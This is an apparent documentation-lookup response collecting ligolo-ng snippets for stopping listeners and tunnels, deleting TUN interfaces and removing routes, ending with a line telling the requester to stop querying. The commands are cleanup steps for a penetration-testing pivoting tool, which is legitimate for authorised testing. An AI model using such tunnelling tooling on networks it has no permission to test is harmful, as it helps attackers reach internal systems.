https://github.com/nicocha30/ligolo-ng/wiki/Listeners Stops a specific listener on the agent using its assigned number. Ensure you have the correct listener number from `listener_list` before executing this command. ```bash [Agent : nchatelain@nworkstation] » listener_stop 0 INFO[1505] Listener closed. ``` -------------------------------- ### Linux: Remove a Route Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Removes a specific route (e.g., 192.168.0.0/24) from the 'ligolo' TUN interface on Linux. Requires root privileges. ```bash sudo ip route del 192.168.0.0/24 dev ligolo ``` -------------------------------- ### Stop Tunnel Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Terminates the current agent's tunnel connection or a specific agent's tunnel by ID. Aliases are available. ```bash # Stop the current agent's tunnel [Agent : user@workstation] » tunnel_stop INFO[0000] Closing tunnel to user@workstation... ``` ```bash # Stop tunnel for a specific agent by ID ligolo-ng » tunnel_stop --agent 2 ``` ```bash # Alternative command (alias) [Agent : user@workstation] » stop ``` -------------------------------- ### Windows: Remove a Route Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Removes a specific route from the Windows routing table. ```powershell route delete 192.168.0.0 mask 255.255.255.0 ``` -------------------------------- ### Delete Ligolo-ng TUN Interface Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Delete a TUN interface by its name or ID. This action will also remove all associated routes and configuration settings. ```bash ligolo-ng » interface_delete --name mytunnel ``` ```bash ligolo-ng » interface_delete --id 2 ``` -------------------------------- ### Delete Route from Ligolo-ng Interface Source: https://context7.com/nicocha30/ligolo-ng/llms.txt Delete specific network routes from a TUN interface by providing the interface name and route. An interactive mode is available for selecting multiple routes to delete. ```bash ligolo-ng » route_del --name ligolo --route 192.168.0.0/24 ``` ```bash ligolo-ng » route_del ``` === COMPLETE CONTENT === This response contains all available snippets from this library. No additional content exists. Do not make further requests.